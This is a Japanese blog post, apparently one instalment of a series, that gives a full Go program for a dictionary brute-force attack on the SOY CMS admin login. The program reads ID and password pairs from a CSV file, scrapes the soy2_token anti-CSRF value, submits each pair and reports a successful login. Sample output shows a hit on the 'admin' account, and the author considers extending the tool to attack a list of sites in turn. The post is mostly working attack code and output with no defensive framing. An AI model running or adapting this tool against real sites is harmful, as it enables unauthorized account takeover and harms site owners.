SOY CMSに総当り攻撃を仕掛けてみる。その3では、

コード内にパスワードリストを作って、そのリストに従ってログインのチェックを行った。


これだと、

試したいものが膨大になるとその時点でコードの可読性が落ちる。


ということで、



IDとパスワードはCSVファイルにまとめて、

総当たり攻撃を実行した時にCSVファイルを読み込んでログインのチェックを行う

という処理に変更してみる。

※CSVファイルのエンコードはUTF-8での話です


前回のコードに太文字のコードを追加してみた。


package main

import (
"bufio"
"encoding/csv"
"fmt"
"io"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
)

type Jar struct {
lk      sync.Mutex
cookies map[string][]*http.Cookie
}

func NewJar() *Jar {
jar := new(Jar)
jar.cookies = make(map[string][]*http.Cookie)
return jar
}

func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
jar.lk.Lock()
jar.cookies[u.Host] = cookies
jar.lk.Unlock()
}

func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies[u.Host]
}

func main() {
var token string

//IDとパスワードを保存するための配列
var ids []string
var pws []string

//IDとパスワードのリストを読み込む
f, _ := os.Open("list.csv")
defer f.Close()

r := csv.NewReader(f)
for {
record, err := r.Read()
//最後の行の場合は読み込みを終了
if err == io.EOF {
break
}
if len(record[0]) > 0 {
ids = append(ids, record[0])
}

if len(record[1]) > 0 {
pws = append(pws, record[1])
}
}

jar := NewJar()
client := http.Client{
Jar: jar,
}

u := "http://example.com/cms/admin/"

for _, user := range ids {
//ヒットした場合はtrueにして、全体の処理を終了させる
finished := false

for _, pw := range pws {

//ログインに成功したか?
success := true

resp, _ := client.Get(u)
s := bufio.NewScanner(resp.Body)
for s.Scan() {
if hit := strings.Index(s.Text(), "soy2_token"); hit > 0 {
re := regexp.MustCompile("value=\"(.*)\"")
res := re.FindString(s.Text())
res = strings.Replace(res, "value=", "", 1)
token = strings.Trim(res, "\"")
}
}

resp.Body.Close()
params := url.Values{}
params.Add("soy2_token", token)
params.Add("Auth[name]", user)
params.Add("Auth[password]", pw)

resp, _ = client.PostForm(u, params)
defer resp.Body.Close()
s = bufio.NewScanner(resp.Body)
for s.Scan() {

if hit := strings.Index(s.Text(), "failed_message"); hit > 0 {
fmt.Println("ログイン失敗")
success = false
}
}

if success == true {
fmt.Println("ログイン成功")
fmt.Println("ヒットしたID:", user, "Pw:", pw)
finished = true
break
}
}
if finished == true {
break
}
}
}

これで、登録したIDとパスワードを掛けあわせた分だけトライすることができるようになった。


それではこのコードを実行してみると、


$:~/ go run test.go
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン成功
ヒットしたID: admin Pw: ********

ヒットしたことが確認できた。

これでIDとパスワードの辞書を一度作成したら使いまわせるということになった。


あとはメモリーの使い方をもっとスリムにして、

大量のパスワードを扱える様にする。


プログラムを実行するときに、

対象サイトのURLも何らかの形で指定できる様にして、

対象サイトリストを順に攻撃できる様にしたい。


あとは、

今はログイン失敗で判定しているけど、

ログイン成功での判定に変更したい。


等々やりたいことはたくさんあるけど、

コードの作成はここらへんでやめておくことにする。